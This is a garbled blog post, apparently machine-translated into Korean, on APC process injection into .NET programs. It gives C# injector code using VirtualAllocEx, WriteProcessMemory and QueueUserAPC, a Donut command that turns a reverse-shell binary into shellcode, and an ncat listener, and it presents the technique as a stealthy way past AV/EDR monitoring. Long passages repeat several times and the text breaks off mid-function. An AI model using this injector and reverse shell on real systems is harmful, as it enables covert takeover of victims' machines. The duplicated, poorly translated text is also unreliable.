운행 중에 비밀리에 코드를 주입하다.정제 과정
운행 중에 비밀리에 코드를 주입하다.정제 과정
개막사
지난 몇 달 동안 나는 이식 가능한 실행 파일 (PE) 형식과 프로세스 주입에 대한 내용을 더 많이 이해하는 데 흥미를 느꼈다.Among the many Process Injection techniques available, 저는 APC INJECTION
에 관심이 많습니다.
비동기 프로세스 호출(APC)
Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alertable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alertable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread.
이상의 내용은 Ashkan Hosseini's
writeup(아래 학점 참조)에서 발췌한 것으로 APC와 악성 소프트웨어가 어떻게 이를 Process Injection
에 사용할 수 있는지 잘 설명하였다.
기본적으로
지난 몇 달 동안 나는 이식 가능한 실행 파일 (PE) 형식과 프로세스 주입에 대한 내용을 더 많이 이해하는 데 흥미를 느꼈다.Among the many Process Injection techniques available, 저는
APC INJECTION
에 관심이 많습니다.비동기 프로세스 호출(APC)
Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alertable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alertable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread.
이상의 내용은 Ashkan Hosseini's
writeup(아래 학점 참조)에서 발췌한 것으로 APC와 악성 소프트웨어가 어떻게 이를 Process Injection
에 사용할 수 있는지 잘 설명하였다.
기본적으로
Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alertable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alertable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread.
SleepEx
그럼 우리 뭐 할까요?
이런 주입 기술의 핵심은 함수 QueueUserAPC이다.QueueUserApc
은 케이스 코드를 비동기 함수로 추가하고, 라인이 경보가 가능해지면 이 함수를 호출합니다.
백신 프로그램이나 EDR는 이 함수를 간단하게 연결하고 사용하는 사람을 표시할 수 있다고 생각할 수도 있다.그러나 이것은 Asynchronous Programming
이 자주 사용하는 함수다.따라서 보안 솔루션은 QueueUserApc
에서 ResumeThread
까지의 일련의 호출을 모니터링하거나 CreateThread
, CreateRemoteThread
API 호출과 같은 다른 일부 함수를 모니터링할 수 있습니다. 이러한 호출은 더욱 인기가 있기 때문에 보통 AV/EDR 공급업체의 심사를 받습니다.
만약 한 가지 방법이 존재한다면, 이 분야에서는요.Net 애플리케이션의 스레드 설정은 항상 경고로 이루어지며 Common Language Runtime(CLR)
이 아닌
CLR은 저희 친구예요.
우리가 하나를 컴파일하면Net 코드는 Microsoft 중간 언어(MSIL) 코드로 컴파일됩니다..exe
또는 .dll
의 형식입니다.그러나 이러한 PE 파일에는 기계 명령이 포함되지 않습니다.상용하는 용어는 Managed Code
이다.그것들은 기계에 독립된 것이다.니가 권한만 있다면Net 프레임워크가 설치되어 있어 유용합니다.CLR Loader
은 이 Managed Code
을 불러오고 명령을 Just-in-time
컴파일러에 보냅니다. 이 컴파일러는 실행할 때 MSIL 코드를 CPU가 실행하는 기계 코드로 변환합니다.
흥미로운 것은 위의 그림에서 CLR이 최종적으로 스레드 지원을 처리한다는 것을 보여 준다.Threads
인치.NET는 CLR에서 처리하며 위에 나열된 경고 방법을 호출할 수 있습니다.
C#로 표현(예:
Thread.Sleep(1000);
최종적으로 JIT에서 컴파일하고 그 중 경보 가능한 방법 SleepEX(..)
을 호출할 것이다.
이 선은 현재 휴면 상태, 휴면 상태에 있다.그렇지 않으면 APC 큐에서 수행해야 할 몇 가지 기능이 있습니다.
흥미로운 것은 Thread.Sleep
을 호출할 수 있는 목표 실행 파일이 필요하지 않다는 것이다.
이 놀라운 article and research by Dwight Hohnstein의
Due to the nature of the .NET compiled language runtime, user asynchronous procedure calls (APCs) are processed upon the exit of any .NET assembly without manually triggering an alertable state from managed code.
프로그램이 종료될 때마다 CLR은 항상 WaitForMultipleObjectsEx
을 호출합니다!
이것은 우리에게 무엇을 의미하는가?
이것은 모든 것을 의미한다.NET 실행 파일은 알림 호출이 없어도 CLR에서 종료할 때 로드됩니다.Net 실행 파일에서 경고 방법을 호출합니다.
즉, 케이스 코드를 MSIL 코드로 쉽게 주입할 수 있습니다.net 실행 파일로 의심스러운 API 호출 체인을 과도하게 사용할 필요가 없습니다. 최종적으로 목표 프로그램이 종료될 때 CLR이 WaitForMultipleObjectsEx
을 호출할 때 라인은 경보 상태로 설정되고 케이스 코드를 실행합니다.
이 계발은 내가 POC를 써서 그것이 정말 효과가 있는지 없는지를 보게 했다.
나는 이 예시 중의 일부 코드를 생략해서 그것을 더욱 짧게 할 것이다.
전체 소스 코드는 repository에 있습니다.
먼저 케이스 코드를 만듭시다.
셸 코드는 C#로 작성된 간단한 반전 셸입니다.연결 포트 3333
의 리버스 스킨
코드는 here;
그리고 나는 Donut을 사용하여 우리의 MSIL 바이너리 파일을 케이스 코드로 컴파일했다.
D:\Users\Razali\Source\Repos\donut>donut.exe -a2 -f2 -cShellCode.Program -mMain -o "myshellcode.txt" "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
[ Entropy : Random names + Encryption
[ File type : .NET EXE
[ Target CPU : amd64
[ AMSI/WDLP : continue
[ Shellcode : "myshellcode.txt"
-a2
케이스 코드를 amd64
으로 컴파일하도록 지정-f2
에서 base64
으로 지정-c
지정 <namespace>.<class name>
-m
지정 Method name
-o
지정 output filename
이제 청취자 설정을 해볼게요.
연결을 감청하고 셸과 상호작용을 하기 위해 아래의 모든 예시에서 넷캣을 사용할 것입니다.
C:\Users\Razali\Desktop\ncat-portable-5.59BETA1>ncat -l 3333
주입하다
이 예는 호출 프로세스에 케이스 코드를 주입한 후 프로세스가 종료될 때 케이스 코드가 호출되는 것을 보여 줍니다.코드의 어떤 부분에서도 우리는 알림 가능한 호출을 보내지 않았다.
static void SelfInject(byte[] shellcode)
{
IntPtr allocatedSpacePtr = VirtualAlloc(0, shellcode.Length, 0x00001000, 0x40);
Marshal.Copy(shellcode, 0, allocatedSpacePtr, shellcode.Length);
QueueUserAPC(allocatedSpacePtr, GetCurrentThread(), 0);
Console.WriteLine("Goodbye");
}
오늘 이후로 그것은 적절하다는 것을 증명했다.NET 프로세스가 종료되었을 때, CLR은 확실히 내가 경고할 수 있는 방법을 호출한 것을 대표한다. 이 방법은 케이스 코드를 호출했고, 우리는 케이스를 얻었다.
경쟁 조건 투입 사용
QueueUserAPC의 설명서와 같이 마스터 스레드가 시작되기 전에 APC를 대기열에 배치하면 마스터 코드를 실행하기 전에 대기열에 있는 모든 APC가 마스터 스레드에서 먼저 실행됩니다.
실험에서 나는 Console Application
이 때때로 너무 빨라서 경쟁 조건을 실행할 수 없다는 것을 발견했다. 왜냐하면 CLR은 내가 APC를 대기열에 쓰기 전에 메인 라인을 불러오고 시작하는 것 같기 때문이다.
그래서 저는 APC를 Windows Form
에 주입하려고 했습니다. 이 주입은 CLR에서 UI 스레드를 설정하는 데 시간이 더 걸려서 APC가 시작되기 전에 빨리 주입할 수 있습니다.우리가 바라는 것은 껍질을 떠나지 않는 상황에서 껍질을 실현하는 것이다.셸은 UI 스레드 (주 스레드) 가 시작되기 전에 이미 실행되었기 때문에 NET 프로세스입니다.셸이 UI 스레드로 실행되기 때문에, 우리는 Windows Form
을 볼 수 없습니다. 왜냐하면 UI 스레드가 나의 셸으로 바쁘기 때문입니다.
static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
이후 마스터 스레드와 경쟁할 수 있음을 확인하고 시작하기 전에 APC를 주입하여 마스터 스레드가 실제 코드 이전에 APC를 실행하도록 합니다.
어떤 달리기에도 주사를 놓다.정제 과정
첫 번째 예에서 확인한 바와 같이 APC는 프로그램을 종료한 후에 실행됩니다.
나는 간단하게 내 Windows Form
을 먼저 시작해서 그것을 시뮬레이션했다. 내 주입기 코드에서 Thread.Sleep
을 사용하여 작동을 멈추고 주입기를 실행했다.
static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
//Thread sleep is used here to give the victim process time to load and run its main thread.
//We do not want to race against it.
Thread.Sleep(3000);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
예상한 바와 같이, 내가 프로그램을 닫는 순간, 우리는 역방향 셸을 얻었다.
위의 그림은 양식이 시작되고 나중에 APC 주입이 발생하는 것을 보여 줍니다.예상한 연결이 발생하지 않았습니다.
표에서 물러난 후, 우리는 반대 케이스를 얻었다.
결론
CLR이 항상 메인 라인을 경보할 수 있도록 하는 것을 보았습니다.QueuseraPC 주입 방법을 사용할 수 있습니다.우리는alertable 방법을 직접 호출할 수 있지만, CLR이 우리를 위해 그것을 호출하는 것을 허용하면 더욱 은폐될 수 있습니다.우리는 또 이 점을 누구에게도 이용당할 수 있다는 것을 발견했다.NET 실행 파일
Dwight Hohnstein이 그의 블로그 글에서 정리한 바와 같이, 너는 임무 스케줄링 이벤트를 연결하고 그 중의 스케줄링 프로그램을 주입할 수 있다.이것은 우리의 코드를 '서명' 바이너리 파일에서 실행하거나 지렛대 권한으로 실행할 수 있도록 합니다.
크레디트
우리가 하나를 컴파일하면Net 코드는 Microsoft 중간 언어(MSIL) 코드로 컴파일됩니다.
.exe
또는 .dll
의 형식입니다.그러나 이러한 PE 파일에는 기계 명령이 포함되지 않습니다.상용하는 용어는 Managed Code
이다.그것들은 기계에 독립된 것이다.니가 권한만 있다면Net 프레임워크가 설치되어 있어 유용합니다.CLR Loader
은 이 Managed Code
을 불러오고 명령을 Just-in-time
컴파일러에 보냅니다. 이 컴파일러는 실행할 때 MSIL 코드를 CPU가 실행하는 기계 코드로 변환합니다.흥미로운 것은 위의 그림에서 CLR이 최종적으로 스레드 지원을 처리한다는 것을 보여 준다.
Threads
인치.NET는 CLR에서 처리하며 위에 나열된 경고 방법을 호출할 수 있습니다.C#로 표현(예:
Thread.Sleep(1000);
최종적으로 JIT에서 컴파일하고 그 중 경보 가능한 방법 SleepEX(..)
을 호출할 것이다.이 선은 현재 휴면 상태, 휴면 상태에 있다.그렇지 않으면 APC 큐에서 수행해야 할 몇 가지 기능이 있습니다.
흥미로운 것은
Thread.Sleep
을 호출할 수 있는 목표 실행 파일이 필요하지 않다는 것이다.이 놀라운 article and research by Dwight Hohnstein의
Due to the nature of the .NET compiled language runtime, user asynchronous procedure calls (APCs) are processed upon the exit of any .NET assembly without manually triggering an alertable state from managed code.
프로그램이 종료될 때마다 CLR은 항상
WaitForMultipleObjectsEx
을 호출합니다!이것은 우리에게 무엇을 의미하는가?
이것은 모든 것을 의미한다.NET 실행 파일은 알림 호출이 없어도 CLR에서 종료할 때 로드됩니다.Net 실행 파일에서 경고 방법을 호출합니다.
즉, 케이스 코드를 MSIL 코드로 쉽게 주입할 수 있습니다.net 실행 파일로 의심스러운 API 호출 체인을 과도하게 사용할 필요가 없습니다. 최종적으로 목표 프로그램이 종료될 때 CLR이 WaitForMultipleObjectsEx
을 호출할 때 라인은 경보 상태로 설정되고 케이스 코드를 실행합니다.
이 계발은 내가 POC를 써서 그것이 정말 효과가 있는지 없는지를 보게 했다.
나는 이 예시 중의 일부 코드를 생략해서 그것을 더욱 짧게 할 것이다.
전체 소스 코드는 repository에 있습니다.
먼저 케이스 코드를 만듭시다.
셸 코드는 C#로 작성된 간단한 반전 셸입니다.연결 포트 3333
의 리버스 스킨
코드는 here;
그리고 나는 Donut을 사용하여 우리의 MSIL 바이너리 파일을 케이스 코드로 컴파일했다.
D:\Users\Razali\Source\Repos\donut>donut.exe -a2 -f2 -cShellCode.Program -mMain -o "myshellcode.txt" "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
[ Entropy : Random names + Encryption
[ File type : .NET EXE
[ Target CPU : amd64
[ AMSI/WDLP : continue
[ Shellcode : "myshellcode.txt"
-a2
케이스 코드를 amd64
으로 컴파일하도록 지정-f2
에서 base64
으로 지정-c
지정 <namespace>.<class name>
-m
지정 Method name
-o
지정 output filename
이제 청취자 설정을 해볼게요.
연결을 감청하고 셸과 상호작용을 하기 위해 아래의 모든 예시에서 넷캣을 사용할 것입니다.
C:\Users\Razali\Desktop\ncat-portable-5.59BETA1>ncat -l 3333
주입하다
이 예는 호출 프로세스에 케이스 코드를 주입한 후 프로세스가 종료될 때 케이스 코드가 호출되는 것을 보여 줍니다.코드의 어떤 부분에서도 우리는 알림 가능한 호출을 보내지 않았다.
static void SelfInject(byte[] shellcode)
{
IntPtr allocatedSpacePtr = VirtualAlloc(0, shellcode.Length, 0x00001000, 0x40);
Marshal.Copy(shellcode, 0, allocatedSpacePtr, shellcode.Length);
QueueUserAPC(allocatedSpacePtr, GetCurrentThread(), 0);
Console.WriteLine("Goodbye");
}
오늘 이후로 그것은 적절하다는 것을 증명했다.NET 프로세스가 종료되었을 때, CLR은 확실히 내가 경고할 수 있는 방법을 호출한 것을 대표한다. 이 방법은 케이스 코드를 호출했고, 우리는 케이스를 얻었다.
경쟁 조건 투입 사용
QueueUserAPC의 설명서와 같이 마스터 스레드가 시작되기 전에 APC를 대기열에 배치하면 마스터 코드를 실행하기 전에 대기열에 있는 모든 APC가 마스터 스레드에서 먼저 실행됩니다.
실험에서 나는 Console Application
이 때때로 너무 빨라서 경쟁 조건을 실행할 수 없다는 것을 발견했다. 왜냐하면 CLR은 내가 APC를 대기열에 쓰기 전에 메인 라인을 불러오고 시작하는 것 같기 때문이다.
그래서 저는 APC를 Windows Form
에 주입하려고 했습니다. 이 주입은 CLR에서 UI 스레드를 설정하는 데 시간이 더 걸려서 APC가 시작되기 전에 빨리 주입할 수 있습니다.우리가 바라는 것은 껍질을 떠나지 않는 상황에서 껍질을 실현하는 것이다.셸은 UI 스레드 (주 스레드) 가 시작되기 전에 이미 실행되었기 때문에 NET 프로세스입니다.셸이 UI 스레드로 실행되기 때문에, 우리는 Windows Form
을 볼 수 없습니다. 왜냐하면 UI 스레드가 나의 셸으로 바쁘기 때문입니다.
static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
이후 마스터 스레드와 경쟁할 수 있음을 확인하고 시작하기 전에 APC를 주입하여 마스터 스레드가 실제 코드 이전에 APC를 실행하도록 합니다.
어떤 달리기에도 주사를 놓다.정제 과정
첫 번째 예에서 확인한 바와 같이 APC는 프로그램을 종료한 후에 실행됩니다.
나는 간단하게 내 Windows Form
을 먼저 시작해서 그것을 시뮬레이션했다. 내 주입기 코드에서 Thread.Sleep
을 사용하여 작동을 멈추고 주입기를 실행했다.
static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
//Thread sleep is used here to give the victim process time to load and run its main thread.
//We do not want to race against it.
Thread.Sleep(3000);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
예상한 바와 같이, 내가 프로그램을 닫는 순간, 우리는 역방향 셸을 얻었다.
위의 그림은 양식이 시작되고 나중에 APC 주입이 발생하는 것을 보여 줍니다.예상한 연결이 발생하지 않았습니다.
표에서 물러난 후, 우리는 반대 케이스를 얻었다.
결론
CLR이 항상 메인 라인을 경보할 수 있도록 하는 것을 보았습니다.QueuseraPC 주입 방법을 사용할 수 있습니다.우리는alertable 방법을 직접 호출할 수 있지만, CLR이 우리를 위해 그것을 호출하는 것을 허용하면 더욱 은폐될 수 있습니다.우리는 또 이 점을 누구에게도 이용당할 수 있다는 것을 발견했다.NET 실행 파일
Dwight Hohnstein이 그의 블로그 글에서 정리한 바와 같이, 너는 임무 스케줄링 이벤트를 연결하고 그 중의 스케줄링 프로그램을 주입할 수 있다.이것은 우리의 코드를 '서명' 바이너리 파일에서 실행하거나 지렛대 권한으로 실행할 수 있도록 합니다.
크레디트
셸 코드는 C#로 작성된 간단한 반전 셸입니다.연결 포트
3333
의 리버스 스킨코드는 here;
그리고 나는 Donut을 사용하여 우리의 MSIL 바이너리 파일을 케이스 코드로 컴파일했다.
D:\Users\Razali\Source\Repos\donut>donut.exe -a2 -f2 -cShellCode.Program -mMain -o "myshellcode.txt" "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
[ Entropy : Random names + Encryption
[ File type : .NET EXE
[ Target CPU : amd64
[ AMSI/WDLP : continue
[ Shellcode : "myshellcode.txt"
-a2
케이스 코드를 amd64
으로 컴파일하도록 지정-f2
에서 base64
으로 지정-c
지정 <namespace>.<class name>
-m
지정 Method name
-o
지정 output filename
이제 청취자 설정을 해볼게요.
연결을 감청하고 셸과 상호작용을 하기 위해 아래의 모든 예시에서 넷캣을 사용할 것입니다.
C:\Users\Razali\Desktop\ncat-portable-5.59BETA1>ncat -l 3333
주입하다
이 예는 호출 프로세스에 케이스 코드를 주입한 후 프로세스가 종료될 때 케이스 코드가 호출되는 것을 보여 줍니다.코드의 어떤 부분에서도 우리는 알림 가능한 호출을 보내지 않았다.
static void SelfInject(byte[] shellcode)
{
IntPtr allocatedSpacePtr = VirtualAlloc(0, shellcode.Length, 0x00001000, 0x40);
Marshal.Copy(shellcode, 0, allocatedSpacePtr, shellcode.Length);
QueueUserAPC(allocatedSpacePtr, GetCurrentThread(), 0);
Console.WriteLine("Goodbye");
}
오늘 이후로 그것은 적절하다는 것을 증명했다.NET 프로세스가 종료되었을 때, CLR은 확실히 내가 경고할 수 있는 방법을 호출한 것을 대표한다. 이 방법은 케이스 코드를 호출했고, 우리는 케이스를 얻었다.
경쟁 조건 투입 사용
QueueUserAPC의 설명서와 같이 마스터 스레드가 시작되기 전에 APC를 대기열에 배치하면 마스터 코드를 실행하기 전에 대기열에 있는 모든 APC가 마스터 스레드에서 먼저 실행됩니다.
실험에서 나는 Console Application
이 때때로 너무 빨라서 경쟁 조건을 실행할 수 없다는 것을 발견했다. 왜냐하면 CLR은 내가 APC를 대기열에 쓰기 전에 메인 라인을 불러오고 시작하는 것 같기 때문이다.
그래서 저는 APC를 Windows Form
에 주입하려고 했습니다. 이 주입은 CLR에서 UI 스레드를 설정하는 데 시간이 더 걸려서 APC가 시작되기 전에 빨리 주입할 수 있습니다.우리가 바라는 것은 껍질을 떠나지 않는 상황에서 껍질을 실현하는 것이다.셸은 UI 스레드 (주 스레드) 가 시작되기 전에 이미 실행되었기 때문에 NET 프로세스입니다.셸이 UI 스레드로 실행되기 때문에, 우리는 Windows Form
을 볼 수 없습니다. 왜냐하면 UI 스레드가 나의 셸으로 바쁘기 때문입니다.
static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
이후 마스터 스레드와 경쟁할 수 있음을 확인하고 시작하기 전에 APC를 주입하여 마스터 스레드가 실제 코드 이전에 APC를 실행하도록 합니다.
어떤 달리기에도 주사를 놓다.정제 과정
첫 번째 예에서 확인한 바와 같이 APC는 프로그램을 종료한 후에 실행됩니다.
나는 간단하게 내 Windows Form
을 먼저 시작해서 그것을 시뮬레이션했다. 내 주입기 코드에서 Thread.Sleep
을 사용하여 작동을 멈추고 주입기를 실행했다.
static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
//Thread sleep is used here to give the victim process time to load and run its main thread.
//We do not want to race against it.
Thread.Sleep(3000);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
예상한 바와 같이, 내가 프로그램을 닫는 순간, 우리는 역방향 셸을 얻었다.
위의 그림은 양식이 시작되고 나중에 APC 주입이 발생하는 것을 보여 줍니다.예상한 연결이 발생하지 않았습니다.
표에서 물러난 후, 우리는 반대 케이스를 얻었다.
결론
CLR이 항상 메인 라인을 경보할 수 있도록 하는 것을 보았습니다.QueuseraPC 주입 방법을 사용할 수 있습니다.우리는alertable 방법을 직접 호출할 수 있지만, CLR이 우리를 위해 그것을 호출하는 것을 허용하면 더욱 은폐될 수 있습니다.우리는 또 이 점을 누구에게도 이용당할 수 있다는 것을 발견했다.NET 실행 파일
Dwight Hohnstein이 그의 블로그 글에서 정리한 바와 같이, 너는 임무 스케줄링 이벤트를 연결하고 그 중의 스케줄링 프로그램을 주입할 수 있다.이것은 우리의 코드를 '서명' 바이너리 파일에서 실행하거나 지렛대 권한으로 실행할 수 있도록 합니다.
크레디트
C:\Users\Razali\Desktop\ncat-portable-5.59BETA1>ncat -l 3333
이 예는 호출 프로세스에 케이스 코드를 주입한 후 프로세스가 종료될 때 케이스 코드가 호출되는 것을 보여 줍니다.코드의 어떤 부분에서도 우리는 알림 가능한 호출을 보내지 않았다.
static void SelfInject(byte[] shellcode)
{
IntPtr allocatedSpacePtr = VirtualAlloc(0, shellcode.Length, 0x00001000, 0x40);
Marshal.Copy(shellcode, 0, allocatedSpacePtr, shellcode.Length);
QueueUserAPC(allocatedSpacePtr, GetCurrentThread(), 0);
Console.WriteLine("Goodbye");
}
오늘 이후로 그것은 적절하다는 것을 증명했다.NET 프로세스가 종료되었을 때, CLR은 확실히 내가 경고할 수 있는 방법을 호출한 것을 대표한다. 이 방법은 케이스 코드를 호출했고, 우리는 케이스를 얻었다.경쟁 조건 투입 사용
QueueUserAPC의 설명서와 같이 마스터 스레드가 시작되기 전에 APC를 대기열에 배치하면 마스터 코드를 실행하기 전에 대기열에 있는 모든 APC가 마스터 스레드에서 먼저 실행됩니다.
실험에서 나는 Console Application
이 때때로 너무 빨라서 경쟁 조건을 실행할 수 없다는 것을 발견했다. 왜냐하면 CLR은 내가 APC를 대기열에 쓰기 전에 메인 라인을 불러오고 시작하는 것 같기 때문이다.
그래서 저는 APC를 Windows Form
에 주입하려고 했습니다. 이 주입은 CLR에서 UI 스레드를 설정하는 데 시간이 더 걸려서 APC가 시작되기 전에 빨리 주입할 수 있습니다.우리가 바라는 것은 껍질을 떠나지 않는 상황에서 껍질을 실현하는 것이다.셸은 UI 스레드 (주 스레드) 가 시작되기 전에 이미 실행되었기 때문에 NET 프로세스입니다.셸이 UI 스레드로 실행되기 때문에, 우리는 Windows Form
을 볼 수 없습니다. 왜냐하면 UI 스레드가 나의 셸으로 바쁘기 때문입니다.
static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
이후 마스터 스레드와 경쟁할 수 있음을 확인하고 시작하기 전에 APC를 주입하여 마스터 스레드가 실제 코드 이전에 APC를 실행하도록 합니다.
어떤 달리기에도 주사를 놓다.정제 과정
첫 번째 예에서 확인한 바와 같이 APC는 프로그램을 종료한 후에 실행됩니다.
나는 간단하게 내 Windows Form
을 먼저 시작해서 그것을 시뮬레이션했다. 내 주입기 코드에서 Thread.Sleep
을 사용하여 작동을 멈추고 주입기를 실행했다.
static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
//Thread sleep is used here to give the victim process time to load and run its main thread.
//We do not want to race against it.
